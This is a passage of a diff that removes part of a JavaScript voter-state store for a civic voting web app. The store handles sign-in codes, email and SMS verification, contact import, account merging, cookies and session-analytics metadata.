- return this.getState().voterContactEmailAugmentWithWeVoteDataComplete || false;
- }
-
- isVoterFound () {
- return this.getState().voterFound;
- }
-
- voterFirstRetrieveCompleted () {
- return this.getState().voterFirstRetrieveCompleted;
- }
-
- voterExternalIdHasBeenSavedOnce (externalVoterId, membershipOrganizationWeVoteId) {
- if (!externalVoterId || !membershipOrganizationWeVoteId) {
- return false;
- }
- if (this.getState().voterExternalIdHasBeenSavedOnce[externalVoterId]) {
- return this.getState().voterExternalIdHasBeenSavedOnce[externalVoterId][membershipOrganizationWeVoteId] || false;
- } else {
- return false;
- }
- }
-
- voterPhotoAndNameExist () {
- const firstNameExists = !!(this.getState().voter.first_name && this.getState().voter.first_name !== '');
- const lastNameExists = !!(this.getState().voter.last_name && this.getState().voter.last_name !== '');
- const nameExists = firstNameExists || lastNameExists;
- const photoExists = !!(this.getState().voter.voter_photo_url_large && this.getState().voter.voter_photo_url_large !== '');
- return !!(nameExists && photoExists);
- }
-
- reduce (state, action) {
- let facebookPhotoRetrieveLoopCount;
- let address;
- let currentVoterDeviceId;
- // const delayBeforeApiCall = 3000;
- let externalVoterId;
- let googleCivicElectionId;
- let incomingVoter;
- let incorrectSecretCodeEntered;
- let membershipOrganizationWeVoteId;
- let mergeFromVoterWeVoteId;
- let mergeToVoterWeVoteId;
- let numberOfTriesRemaining;
- let revisedState;
- let secretCodeVerified;
- let voterDeviceId;
- let voterContactEmailAugmentWithWeVoteDataComplete;
- let voterExternalIdHasBeenSavedOnce;
- let voterFirstRetrieveCompleted;
- let voterMustRequestNewCode;
- let voterSecretCodeRequestsLocked;
-
- switch (action.type) {
- case 'clearEmailAddressStatus':
- // console.log('VoterStore clearEmailAddressStatus');
- return { ...state, emailAddressStatus: {} };
- case 'clearSecretCodeVerificationStatus':
- // console.log('VoterStore clearSecretCodeVerificationStatus');
- return {
- ...state,
- secretCodeVerificationStatus: {
- incorrectSecretCodeEntered: false,
- numberOfTriesRemaining: 5,
- secretCodeVerified: false,
- voterMustRequestNewCode: false,
- voterSecretCodeRequestsLocked: false,
- },
- };
- case 'clearSecretCodeVerificationStatusAndEmail':
- // Does both of the above steps in one call
- // console.log('VoterStore clearSecretCodeVerificationStatusAndEmail');
- return {
- ...state,
- emailAddressStatus: {},
- secretCodeVerificationStatus: {
- incorrectSecretCodeEntered: false,
- numberOfTriesRemaining: 5,
- secretCodeVerified: false,
- voterMustRequestNewCode: false,
- voterSecretCodeRequestsLocked: false,
- },
- };
- case 'clearSMSPhoneNumberStatus':
- // console.log('VoterStore clearSMSPhoneNumberStatus');
- return {
- ...state,
- smsPhoneNumberStatus: {
- sms_verify_attempted: false,
- sms_phone_number_already_owned_by_other_voter: false,
- sms_phone_number_already_owned_by_this_voter: false,
- sms_phone_number_created: false,
- sms_phone_number: '',
- sms_phone_number_found: false,
- sms_phone_number_deleted: false,
- make_primary_sms: false,
- sign_in_code_sms_sent: false,
- verification_sms_sent: false,
- },
- };
- case 'clearSecretCodeVerificationStatusAndPhone':
- // console.log('VoterStore clearSecretCodeVerificationStatusAndPhone');
- return {
- ...state,
- secretCodeVerificationStatus: {
- incorrectSecretCodeEntered: false,
- numberOfTriesRemaining: 5,
- secretCodeVerified: false,
- voterMustRequestNewCode: false,
- voterSecretCodeRequestsLocked: false,
- },
- smsPhoneNumberStatus: {
- sms_verify_attempted: false,
- sms_phone_number_already_owned_by_other_voter: false,
- sms_phone_number_already_owned_by_this_voter: false,
- sms_phone_number_created: false,
- sms_phone_number: '',
- sms_phone_number_found: false,
- sms_phone_number_deleted: false,
- make_primary_sms: false,
- sign_in_code_sms_sent: false,
- verification_sms_sent: false,
- },
- };
- case 'clearVoterElectionId':
- // console.log('VoterStore clearVoterElectionId');
- return { ...state, latestGoogleCivicElectionId: 0 };
- case 'clearVoterContactEmailImportVariables':
- return {
- ...state,
- voterContactEmailAugmentWithWeVoteDataComplete: false,
- voterContactEmailAugmentSequenceComplete: false,
- voterContactEmailAugmentSequenceHasNextStep: false,
- };
- case 'organizationSave':
- // console.log('VoterStore organizationSave');
- // If an organization saves, we want to check to see if it is tied to this voter. If so,
- // refresh the voter data so we have the value linked_organization_we_vote_id in the voter object.
- if (action.res.success) {
- if (action.res.facebook_id === state.voter.facebook_id) {
- VoterActions.voterRetrieve();
- } else {
- const organizationTwitterHandle = action.res.organization_twitter_handle || '';
- const twitterScreenName = state.voter.twitter_screen_name !== undefined ? state.voter.twitter_screen_name : '';
- if (organizationTwitterHandle && organizationTwitterHandle.toLowerCase() === twitterScreenName.toLowerCase()) {
- VoterActions.voterRetrieve();
- }
- }
- }
- return state;
-
- case 'organizationSuggestionTasks':
- // console.log('VoterStore organizationSuggestionTasks');
- if (action.res.success) {
- if (action.res.kind_of_follow_task === 'FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW') {
- // console.log('organizationSuggestionTasks FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW');
- // VoterGuideActions.voterGuidesToFollowRetrieve(this.electionId());
- VoterGuideActions.voterGuidesFollowedRetrieve(this.electionId());
- } else if (action.res.kind_of_suggestion_task === 'UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW') {
- // console.log('organizationSuggestionTasks UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW');
- // VoterGuideActions.voterGuidesToFollowRetrieve(this.electionId());
- VoterGuideActions.voterGuidesFollowedRetrieve(this.electionId());
- }
- }
- return state;
-
- case 'positionListForVoter':
- // console.log('VoterStore positionListForVoter');
- if (action.res.show_only_this_election) {
- const positionListForOneElection = action.res.position_list;
- return {
- ...state,
- voter: {
- ...state.voter,
- positionListForOneElection,
- },
- };
- } else if (action.res.show_all_other_elections) {
- const positionListForAllExceptOneElection = action.res.position_list;
- return {
- ...state,
- voter: {
- ...state.voter,
- positionListForAllExceptOneElection,
- },
- };
- } else {
- const positionList = action.res.position_list;
- return {
- ...state,
- voter: {
- ...state.voter,
- positionList,
- },
- };
- }
-
- case 'setExternalVoterId':
- externalVoterId = action.payload;
- membershipOrganizationWeVoteId = AppObservableStore.getSiteOwnerOrganizationWeVoteId();
- ({ voterExternalIdHasBeenSavedOnce } = state);
- // console.log('VoterStore externalVoterId:', externalVoterId, ', membershipOrganizationWeVoteId:', membershipOrganizationWeVoteId);
- if (externalVoterId && membershipOrganizationWeVoteId) {
- if (!this.voterExternalIdHasBeenSavedOnce(externalVoterId, membershipOrganizationWeVoteId)) {
- // console.log('voterExternalIdHasBeenSavedOnce has NOT been saved before.');
- VoterActions.voterExternalIdSave(externalVoterId, membershipOrganizationWeVoteId);
- if (!voterExternalIdHasBeenSavedOnce[externalVoterId]) {
- voterExternalIdHasBeenSavedOnce[externalVoterId] = {};
- }
- voterExternalIdHasBeenSavedOnce[externalVoterId][membershipOrganizationWeVoteId] = true;
- // AnalyticsActions.saveActionBallotVisit(VoterStore.electionId());
- } else {
- // console.log('voterExternalIdHasBeenSavedOnce has been saved before.');
- }
- }
- return {
- ...state,
- externalVoterId,
- voterExternalIdHasBeenSavedOnce,
- };
-
- case 'twitterRetrieveIdsIFollow':
- // console.log('VoterStore twitterRetrieveIdsIFollow');
- if (action.res.success) {
- VoterActions.organizationSuggestionTasks(
- 'UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW',
- 'FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW',
- );
- }
-
- return state;
-
- case 'voterAnalysisForJumpProcess':
- // console.log('VoterStore, voterAnalysisForJumpProcess');
- VoterActions.voterRetrieve();
- return {
- ...state,
- emailAddressStatus: {
- email_ownership_is_verified: action.res.email_ownership_is_verified,
- email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
- email_verify_attempted: action.res.email_verify_attempted,
- email_address_found: action.res.email_address_found,
- },
- emailSignInStatus: {
- email_ownership_is_verified: action.res.email_ownership_is_verified,
- email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
- email_sign_in_attempted: action.res.email_verify_attempted,
- email_address_found: action.res.email_address_found,
- },
- };
-
- case 'voterAddressRetrieve':
- case 'voterAddressOnlyRetrieve':
- // console.log('VoterStore, voterAddressRetrieve, address:', action.res);
- address = action.res || {};
- return {
- ...state,
- address,
- };
-
- case 'voterAddressSave':
- // console.log('VoterStore, voterAddressSave, action.res:', action.res);
- revisedState = state;
- if (action.res.status === 'SIMPLE_ADDRESS_SAVE') {
- // Don't do any other refreshing
- } else {
- // BallotActions.voterBallotItemsRetrieve();
- googleCivicElectionId = action.res.google_civic_election_id || 0;
- if (googleCivicElectionId !== 0) {
- revisedState = { ...revisedState,
- latestGoogleCivicElectionId: googleCivicElectionId,
- };
- }
- }
- ({ address } = action.res);
- if (!address) {
- address = {
- text_for_map_search: '',
- google_civic_election_id: 0,
- ballot_returned_we_vote_id: '',
- ballot_location_display_name: '',
- voter_entered_address: '',
- voter_specific_ballot_from_google_civic: null,
- };
- }
-
- return {
- ...revisedState,
- address: {
- text_for_map_search: address.text_for_map_search,
- google_civic_election_id: address.google_civic_election_id,
- ballot_returned_we_vote_id: address.ballot_returned_we_vote_id,
- ballot_location_display_name: address.ballot_location_display_name,
- voter_entered_address: address.voter_entered_address,
- voter_specific_ballot_from_google_civic: address.voter_specific_ballot_from_google_civic,
- },
- };
-
- case 'voterBallotItemsRetrieve':
- // console.log('VoterStore voterBallotItemsRetrieve latestGoogleCivicElectionId: ', action.res.google_civic_election_id);
- googleCivicElectionId = action.res.google_civic_election_id || 0;
- if (googleCivicElectionId !== 0) {
- return {
- ...state,
- latestGoogleCivicElectionId: googleCivicElectionId,
- };
- }
- return state;
-
- case 'voterContactListRetrieve':
- // console.log('VoterStore voterContactListRetrieve action:', action);
- if (action.res.success) {
- const {
- voter_contact_email_google_count: voterContactEmailGoogleCount,
- voter_contact_email_list: voterContactEmailList,
- } = action.res;
- return {
- ...state,
- voterContactEmailGoogleCount,
- voterContactEmailList,
- };
- } else {
- console.log('response voterContactListRetrieve was not successful');
- return state;
- }
-
- case 'voterContactListSave':
- // console.log('VoterStore voterContactListSave action.res:', action.res);
- if (action.res.success) {
- ({ voterContactEmailAugmentWithWeVoteDataComplete } = state);
- const {
- augment_voter_contact_emails_with_location: justAugmentedWithLocation,
- augment_voter_contact_emails_with_we_vote_data: justAugmentedWithWeVoteData,
- contacts_stored: googleContactsStored,
- delete_all_voter_contact_emails: voterContactEmailsJustDeleted,
- voter_contact_email_augment_sequence_complete: voterContactEmailAugmentSequenceComplete,
- voter_contact_email_augment_sequence_has_next_step: voterContactEmailAugmentSequenceHasNextStep,
- voter_contact_email_google_count: voterContactEmailGoogleCount,
- voter_contact_email_list: voterContactEmailList,
- we_vote_id_for_google_contacts: weVoteIdForGoogleContacts,
- } = action.res;
- // console.log('googleContactsStored:', googleContactsStored, ', justAugmentedWithWeVoteData:', justAugmentedWithWeVoteData, ',justAugmentedWithLocation:', justAugmentedWithLocation);
- if (voterContactEmailsJustDeleted || justAugmentedWithLocation) {
- // Never call again
- } else if (googleContactsStored && (googleContactsStored > 0)) {
- // console.log('Calling VoterActions.voterContactListAugmentWithWeVoteData');
- VoterActions.voterContactListAugmentWithWeVoteData(true);
- } else if (justAugmentedWithWeVoteData) {
- // console.log('Calling VoterActions.voterContactListAugmentWithLocation');
- VoterActions.voterContactListAugmentWithLocation(true);
- }
- if (googleContactsStored) {
- voterContactEmailAugmentWithWeVoteDataComplete = false;
- } else if (justAugmentedWithWeVoteData) {
- voterContactEmailAugmentWithWeVoteDataComplete = true;
- }
- return {
- ...state,
- weVoteIdForGoogleContacts,
- googleContactsStored,
- voterContactEmailAugmentWithWeVoteDataComplete,
- voterContactEmailAugmentSequenceComplete,
- voterContactEmailAugmentSequenceHasNextStep,
- voterContactEmailGoogleCount,
- voterContactEmailList,
- };
- } else {
- console.log('response voterContactListSave was not successful');
- return state;
- }
-
- case 'voterEmailAddressRetrieve':
- // console.log('VoterStore voterEmailAddressRetrieve: ', action.res.email_address_list);
- return {
- ...state,
- emailAddressList: action.res.email_address_list,
- };
-
- case 'voterEmailAddressSave':
- // console.log('VoterStore, voterEmailAddressSave');
- VoterActions.voterRetrieve();
- return {
- ...state,
- emailAddressList: action.res.email_address_list,
- emailAddressStatus: {
- email_verify_attempted: action.res.email_verify_attempted,
- email_address_already_owned_by_other_voter: action.res.email_address_already_owned_by_other_voter,
- email_address_already_owned_by_this_voter: action.res.email_address_already_owned_by_this_voter,
- email_address_created: action.res.email_address_created,
- email_address_deleted: action.res.email_address_deleted,
- email_address_not_valid: action.res.email_address_not_valid,
- from_voter_we_vote_id: action.res.from_voter_we_vote_id,
- link_to_sign_in_email_sent: action.res.link_to_sign_in_email_sent,
- make_primary_email: action.res.make_primary_email,
- sign_in_code_email_sent: action.res.sign_in_code_email_sent,
- secret_code_system_locked_for_this_voter_device_id: action.res.secret_code_system_locked_for_this_voter_device_id,
- to_voter_we_vote_id: action.res.to_voter_we_vote_id,
- verification_email_sent: action.res.verification_email_sent,
- },
- };
-
- case 'voterEmailAddressSignIn':
- // console.log('VoterStore, voterEmailAddressSignIn');
- VoterActions.voterRetrieve();
- return {
- ...state,
- emailSignInStatus: {
- email_sign_in_attempted: action.res.email_sign_in_attempted,
- email_ownership_is_verified: action.res.email_ownership_is_verified,
- email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
- email_address_found: action.res.email_address_found,
- yes_please_merge_accounts: action.res.yes_please_merge_accounts,
- voter_we_vote_id_from_secret_key: action.res.voter_we_vote_id_from_secret_key,
- voter_merge_two_accounts_attempted: false,
- },
- };
-
- case 'voterEmailAddressVerify':
- // console.log('VoterStore, voterEmailAddressVerify');
- VoterActions.voterRetrieve();
- return {
- ...state,
- emailAddressStatus: {
- email_ownership_is_verified: action.res.email_ownership_is_verified,
- email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
- email_verify_attempted: action.res.email_verify_attempted,
- email_address_found: action.res.email_address_found,
- },
- emailSignInStatus: {
- email_ownership_is_verified: action.res.email_ownership_is_verified,
- email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
- email_sign_in_attempted: action.res.email_verify_attempted,
- email_address_found: action.res.email_address_found,
- },
- };
-
- case 'voterEmailQueuedToSave':
- // console.log('VoterStore voterEmailQueuedToSave: ', action.payload);
- if (action.payload === undefined) {
- return {
- ...state,
- voterEmailQueuedToSave: '',
- voterEmailQueuedToSaveSet: false,
- };
- } else {
- return {
- ...state,
- voterEmailQueuedToSave: action.payload,
- voterEmailQueuedToSaveSet: true,
- };
- }
-
- case 'voterFacebookSaveToCurrentAccount':
- // console.log('VoterStore, voterFacebookSaveToCurrentAccount');
- VoterActions.voterRetrieve();
- return {
- ...state,
- facebookSignInStatus: {
- facebook_account_created: action.res.facebook_account_created,
- },
- };
-
- case 'voterFirstNameQueuedToSave':
- // console.log('VoterStore voterFirstNameQueuedToSave: ', action.payload);
- if (action.payload === undefined) {
- return {
- ...state,
- voterFirstNameQueuedToSave: '',
- voterFirstNameQueuedToSaveSet: false,
- };
- } else {
- return {
- ...state,
- voterFirstNameQueuedToSave: action.payload,
- voterFirstNameQueuedToSaveSet: true,
- };
- }
-
- case 'voterLastNameQueuedToSave':
- // console.log('VoterStore voterLastNameQueuedToSave: ', action.payload);
- if (action.payload === undefined) {
- return {
- ...state,
- voterLastNameQueuedToSave: '',
- voterLastNameQueuedToSaveSet: false,
- };
- } else {
- return {
- ...state,
- voterLastNameQueuedToSave: action.payload,
- voterLastNameQueuedToSaveSet: true,
- };
- }
-
- case 'voterMergeTwoAccounts':
- // console.log('VoterStore, voterMergeTwoAccounts');
- // On the server we just switched (linked) this voterDeviceId to a new voter record, so we want to the voter.
- // refresh a lot of data -- December 2022, but as little as absolutely required, and no more
- VoterActions.voterRetrieve();
- // // And set a timer for 3 seconds from now to refresh again
- // this.timer = setTimeout(() => {
- // VoterActions.voterRetrieve();
- // }, delayBeforeApiCall);
- VoterActions.voterEmailAddressRetrieve(); // TODO: December 2022, Is this necessary?
- VoterActions.voterSMSPhoneNumberRetrieve(); // TODO: December 2022, Is this necessary?
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // Cascading actions like this causes serious problems when you have a dialog with components that change stores.
- FriendActions.friendListsAll();
- BallotActions.voterBallotItemsRetrieve();
- }
- if (action.res.merge_from_voter_we_vote_id && action.res.merge_to_voter_we_vote_id) {
- if (apiCalming('voterRetrieveMergeTwo', 3000)) {
- // This completes the time-consuming process 'voter_merge_two_accounts_action' and then returns voter data
- console.log('VoterStore: voterMergeTwoAccounts: Completing voterRetrieveMergeTwo process');
- VoterActions.voterRetrieve(action.res.merge_from_voter_we_vote_id, action.res.merge_to_voter_we_vote_id);
- }
- }
- return {
- ...state,
- emailSignInStatus: {
- email_ownership_is_verified: true,
- email_secret_key_belongs_to_this_voter: true,
- email_sign_in_attempted: true,
- email_address_found: true,
- yes_please_merge_accounts: false,
- voter_we_vote_id_from_secret_key: '',
- voter_merge_two_accounts_attempted: true,
- },
- facebookSignInStatus: {
- voter_merge_two_accounts_attempted: true,
- },
- twitterSignInStatus: {
- voter_merge_two_accounts_attempted: true,
- },
- };
-
- case 'voterNotificationSettingsUpdate':
- // console.log('VoterStore, voterNotificationSettingsUpdate');
- if (!action.res) {
- return {
- ...state,
- voterNotificationSettingsUpdateStatus: {
- apiResponseReceived: true,
- emailFound: false,
- voterFound: false,
- normalizedEmailAddress: '',
- normalizedSmsPhoneNumber: '',
- notificationSettingsFlags: false,
- },
- };
- }
- return {
- ...state,
- voterNotificationSettingsUpdateStatus: {
- apiResponseReceived: true,
- emailFound: action.res.email_found,
- voterFound: action.res.voter_found,
- normalizedEmailAddress: action.res.normalized_email_address,
- normalizedSmsPhoneNumber: action.res.normalized_sms_phone_number,
- notificationSettingsFlags: action.res.notification_settings_flags,
- },
- };
-
- case 'voterPhotoQueuedToSave':
- // console.log('VoterStore voterPhotoQueuedToSave: ', action.payload);
- if (action.payload === undefined) {
- return {
- ...state,
- voterPhotoQueuedToSave: '',
- voterPhotoQueuedToSaveSet: false,
- };
- } else {
- return {
- ...state,
- voterPhotoQueuedToSave: action.payload,
- voterPhotoQueuedToSaveSet: true,
- };
- }
-
- case 'voterPhotoSave':
- // console.log('VoterStore, voterPhotoSave');
- return {
- ...state,
- voter: { ...state.voter, facebook_profile_image_url_https: action.res.facebook_profile_image_url_https },
- };
-
- case 'profilePhotoTooBigReset':
- // console.log('VoterStore, profilePhotoTooBigReset');
- return {
- ...state,
- voterPhotoTooBig: false,
- };
-
- case 'voterRetrieve':
- // console.log('VoterStore, voterRetrieve state on entry: ', state);
- // console.log('VoterStore, voterRetrieve state on entry: ', state.voter);
-
- // Preserve address within voter
- incomingVoter = action.res;
- ({ facebookPhotoRetrieveLoopCount, voterFirstRetrieveCompleted } = state);
- if (!voterFirstRetrieveCompleted) {
- voterFirstRetrieveCompleted = Boolean(action.res.success);
- }
-
- currentVoterDeviceId = Cookies.get('voter_device_id');
- // console.log('VoterStore, voterRetrieve stored Cookie value for voter_device_id value on entry: ', currentVoterDeviceId);
- if (!action.res.voter_found) {
- console.log(`This voter_device_id is not in the db and is invalid, so delete it: ${currentVoterDeviceId}`);
-
- // Attempt to delete the voter_device_id cookie in a variety of ways
- Cookies.remove('voter_device_id');
- Cookies.remove('voter_device_id', { path: '/' });
- Cookies.remove('voter_device_id', { path: '/', domain: 'wevote.us' });
-
- // ...and then ask for a new voter. When it returns a voter with a new voter_device_id, we will set new cookie
- if (!Cookies.get('voter_device_id')) {
- console.log('voter_device_id gone -- calling voterRetrieve');
- VoterActions.voterRetrieve();
- } else {
- // console.log('voter_device_id still exists -- did not call voterRetrieve');
- }
- } else {
- voterDeviceId = action.res.voter_device_id;
- if (voterDeviceId) {
- if (currentVoterDeviceId !== voterDeviceId) {
- console.log('Setting new voter_device_id');
- this.setVoterDeviceIdCookie(voterDeviceId);
- }
- // FriendsInvitationList.jsx is choking on this because calling this
- // results in an infinite loop cycling between voterRetrieve and getFaceProfilePicture which
- // resolves to FACEBOOK_RECEIVED_PICTURE which then attempts to save using voterFacebookSignInPhoto
- // which in turn resolves to voterFacebookSignInSave which finally attempts to call
- // voterRetrieve again
- const url = action.res.facebook_profile_image_url_https;
- // console.log('VoterStore, voterRetrieve, action.res: ', action.res);
-
- if (action.res.signed_in_facebook && (url === null || url === '') && facebookPhotoRetrieveLoopCount < 10) {
- FacebookActions.getFacebookProfilePicture();
- }
- } else {
- // console.log('voter_device_id not returned by voterRetrieve');
- }
- }
- // April 29, 2021 TODO: We should make a combined Voter and Organization retrieve
- // because this fires on the initial page load and takes almost a full second to return, blocking one of six available http channels
- // Firing actions from stores should be avoided
- // The following (new) condition blocks a organizationRetrieve on the first voterRetrieve
- if (this.getState().voter.we_vote_id && currentVoterDeviceId) {
- if (incomingVoter.linked_organization_we_vote_id) {
- if (apiCalming('organizationRetrieve', 2000)) {
- // console.log('Following voterRetrieve call -- calling organizationRetrieve');
- OrganizationActions.organizationRetrieve(incomingVoter.linked_organization_we_vote_id);
- }
- }
- }
- // if (incomingVoter.signed_in_with_apple) {
- // // Completing the logical OR that can't be conveniently made in the server, since Sign in with Apple is device_id specific
- // incomingVoter.is_signed_in = incomingVoter.signed_in_with_apple;
- // const { voter_photo_url_medium: statePhotoMed } = state.voter;
- // const { voter_photo_url_medium: incomingPhotoMed } = incomingVoter;
- // if (!statePhotoMed && !incomingPhotoMed) {
- // incomingVoter.voter_photo_url_medium = 'https://wevote.us/img/global/logos/Apple_logo_grey.svg'; // TODO: Switch over to wevote.us once live server is updated
- // }
- // }
- if (incomingVoter && incomingVoter.we_vote_id) {
- if (incomingVoter.we_vote_id !== AppObservableStore.getOpenReplayVoterWeVoteId()) {
- // console.log('tracker.setUserId:', incomingVoter.we_vote_id);
- const tracker = AppObservableStore.getOpenReplayTracker();
- if (tracker) {
- console.log('OpenReplay setting id: ', incomingVoter.we_vote_id);
- AppObservableStore.setOpenReplayVoterWeVoteId(incomingVoter.we_vote_id);
- tracker.setUserID(incomingVoter.we_vote_id);
- }
- }
- if (incomingVoter.is_signed_in && !AppObservableStore.getOpenReplayVoterIsSignedIn()) {
- const tracker = AppObservableStore.getOpenReplayTracker();
- if (tracker) {
- console.log('OpenReplay setting voterIsSignedIn');
- AppObservableStore.setOpenReplayVoterIsSignedIn(true);
- tracker.setMetadata('voterIsSignedIn', 'true');
- }
- }
- if (this.getStateCode() && !AppObservableStore.getOpenReplayStateCode()) {
- // getStateCode defaults to state_code_from_ip_address but is overridden by the state in text_for_map_search
- const tracker = AppObservableStore.getOpenReplayTracker();
- const stateCode = this.getStateCode().toUpperCase();
- if (tracker && stateCode) {
- console.log('OpenReplay setting stateCode');
- AppObservableStore.setOpenReplayStateCode(stateCode);
- tracker.setMetadata('stateCode', stateCode);
- }
- }
- if (incomingVoter.state_code_from_ip_address && !AppObservableStore.getOpenReplayStateCodeFromIpAddress()) {
- const tracker = AppObservableStore.getOpenReplayTracker();
- const stateCodeFromIpAddress = incomingVoter.state_code_from_ip_address.toUpperCase();
- if (tracker && stateCodeFromIpAddress) {
- console.log('OpenReplay setting stateCodeFromIpAddress');
- AppObservableStore.setOpenReplayStateCodeFromIpAddress(stateCodeFromIpAddress);
- tracker.setMetadata('stateCodeFromIpAddress', stateCodeFromIpAddress);
- }
- }
- }
- revisedState = state;
- revisedState = {
- ...revisedState,
- facebookPhotoRetrieveLoopCount: facebookPhotoRetrieveLoopCount + 1,
- voter: incomingVoter,
- voterFirstRetrieveCompleted,
- voterFound: action.res.voter_found,
- };
- if (incomingVoter.address) {
- // console.log('incomingVoter.address:', incomingVoter.address);
- revisedState = { ...revisedState, address: incomingVoter.address };
- }
- return revisedState;
-
- case 'voterSignOut':
- // console.log('VoterStore resetting voterStore via voterSignOut');
- VoterActions.voterRetrieve();
- VoterActions.voterEmailAddressRetrieve();
- VoterActions.voterSMSPhoneNumberRetrieve();
- revisedState = state;
- revisedState = { ...revisedState, ...this.getInitialState() };
- return revisedState;
-
- case 'voterSMSPhoneNumberRetrieve':
- // console.log('VoterStore voterSMSPhoneNumberRetrieve: ', action.res.sms_phone_number_list);
- return {
- ...state,
- smsPhoneNumberList: action.res.sms_phone_number_list,
- };
-
- case 'voterSMSPhoneNumberSave':
- // console.log('VoterStore voterSMSPhoneNumberSave action.res:', action.res);
- VoterActions.voterRetrieve();
- VoterActions.voterSMSPhoneNumberRetrieve();
- return {
- ...state,
- smsPhoneNumberList: action.res.sms_phone_number_list,
- smsPhoneNumberStatus: {
- sms_verify_attempted: action.res.sms_verify_attempted,
- sms_phone_number_already_owned_by_other_voter: action.res.sms_phone_number_already_owned_by_other_voter,
- sms_phone_number_already_owned_by_this_voter: action.res.sms_phone_number_already_owned_by_this_voter,
- sms_phone_number_created: action.res.sms_phone_number_created,
- sms_phone_number: action.res.sms_phone_number,
- sms_phone_number_found: action.res.sms_phone_number_found,
- sms_phone_number_deleted: action.res.sms_phone_number_deleted,
- make_primary_sms: action.res.make_primary_sms,
- secret_code_system_locked_for_this_voter_device_id: action.res.secret_code_system_locked_for_this_voter_device_id,
- sign_in_code_sms_sent: action.res.sign_in_code_sms_sent,
- verification_sms_sent: action.res.verification_sms_sent,
- },
- };
-
- case 'voterSplitIntoTwoAccounts':
- // console.log('VoterStore voterSplitIntoTwoAccounts ');
- VoterActions.voterRetrieve();
- return state;
-
- case 'voterReviewedApp':
- // console.log(`VoterStore voterReviewedApp status: ${JSON.stringify(action.res)}`);
- return {
- ...state,
- app_review_state: action.res.app_review_state.length ? action.res.app_review_state : 'NONE',
- app_review_version: action.res.app_review_version,
- app_review_platform: action.res.app_review_platform,
- app_review_date: action.res.app_review_date,
- };
-
- case 'voterTwitterSaveToCurrentAccount':
- // console.log('VoterStore voterTwitterSaveToCurrentAccount ');
- VoterActions.voterRetrieve();
- return {
- ...state,
- twitterSignInStatus: {
- twitter_account_created: action.res.twitter_account_created,
- },
- };
-
- case 'voterUpdate': // Formerly voterDeleteAccount
- if (action.res.success && action.res.voter_deleted) {
- revisedState = state;
- revisedState = { ...revisedState,
- voterDeleted: true,
- voterNotDeleted: false,
- };
- return revisedState;
- } else if (action.res.success && action.res.voter_not_deleted) {
- revisedState = state;
- revisedState = { ...revisedState,
- voterDeleted: false,
- voterNotDeleted: true,
- };
- return revisedState;
- } else if (action.res.success) {
- let interfaceStatusFlags = action.res.interface_status_flags;
- if (interfaceStatusFlags === undefined) {
- interfaceStatusFlags = state.voter.interface_status_flags;
- }
- let notificationSettingsFlags = action.res.notification_settings_flags;
- if (notificationSettingsFlags === undefined) {
- notificationSettingsFlags = state.voter.notification_settings_flags;
- }
- if (action.res.voter_updated && this.getLinkedOrganizationWeVoteId()) {
- // console.log('voter_updated:', action.res.voter_updated);
- OrganizationActions.organizationRetrieve(this.getLinkedOrganizationWeVoteId());
- }
- return {
- ...state,
- voter: {
- ...state.voter,
- // With this we are only updating the values we change with a voterUpdate call.
- facebook_email: action.res.email || state.voter.email,
- first_name: action.res.first_name,
- interface_status_flags: interfaceStatusFlags,
- last_name: action.res.last_name,
- notification_settings_flags: notificationSettingsFlags,
- profile_image_type_currently_active: action.res.profile_image_type_currently_active || '',
- voter_donation_history_list: action.res.voter_donation_history_list || state.voter.voter_donation_history_list,
- passkey_received_but_not_accepted: action.res.passkey_received_but_not_accepted || false,
- passkey_verified: action.res.passkey_verified || false,
- voter_photo_url_large: action.res.we_vote_hosted_profile_image_url_large || '',
- voter_photo_url_medium: action.res.we_vote_hosted_profile_image_url_medium || '',
- voter_photo_url_tiny: action.res.we_vote_hosted_profile_image_url_tiny || '',
- we_vote_hosted_profile_facebook_image_url_large: action.res.we_vote_hosted_profile_facebook_image_url_large || '',
- we_vote_hosted_profile_twitter_image_url_large: action.res.we_vote_hosted_profile_twitter_image_url_large || '',
- we_vote_hosted_profile_uploaded_image_url_large: action.res.we_vote_hosted_profile_uploaded_image_url_large || '',
- },
- voterPhotoTooBig: action.res.voter_photo_too_big || false,
- };
- } else {
- return {
- ...state,
- voterPhotoTooBig: action.res.voter_photo_too_big || false,
- };
- }
-
- case 'voterVerifySecretCode':
- // console.log('VoterStore, voterVerifySecretCode, action.res:', action.res);
- incorrectSecretCodeEntered = (action.res.incorrect_secret_code_entered && action.res.incorrect_secret_code_entered === true);
- mergeFromVoterWeVoteId = action.res.merge_from_voter_we_vote_id;
- mergeToVoterWeVoteId = action.res.merge_to_voter_we_vote_id;
- numberOfTriesRemaining = action.res.number_of_tries_remaining_for_this_code;
- secretCodeVerified = (action.res.secret_code_verified && action.res.secret_code_verified === true);
- voterMustRequestNewCode = (action.res.voter_must_request_new_code && action.res.voter_must_request_new_code === true);
- voterSecretCodeRequestsLocked = (action.res.secret_code_system_locked_for_this_voter_device_id && action.res.secret_code_system_locked_for_this_voter_device_id === true);
- // console.log('onVoterStoreChange voterStore secretCodeVerified', secretCodeVerified);
- // It is appropriate to keep this call within the Store because the components which trigger the voterVerifySecretCode
- // get closed as soon as secretCodeVerified is true
- if (mergeFromVoterWeVoteId && mergeToVoterWeVoteId) {
- // console.log('VoterStore, voterVerifySecretCode: voterRetrieveMergeTwo mergeFromVoterWeVoteId:', mergeFromVoterWeVoteId, ', mergeToVoterWeVoteId:', mergeToVoterWeVoteId);
- if (apiCalming('voterRetrieveMergeTwo', 3000)) {
- // This completes the time-consuming process 'voter_merge_two_accounts_action' and then returns voter data
- VoterActions.voterRetrieve(mergeFromVoterWeVoteId, mergeToVoterWeVoteId);
- }
- }
- return {
- ...state,
- secretCodeVerificationStatus: {
- incorrectSecretCodeEntered,
- numberOfTriesRemaining,
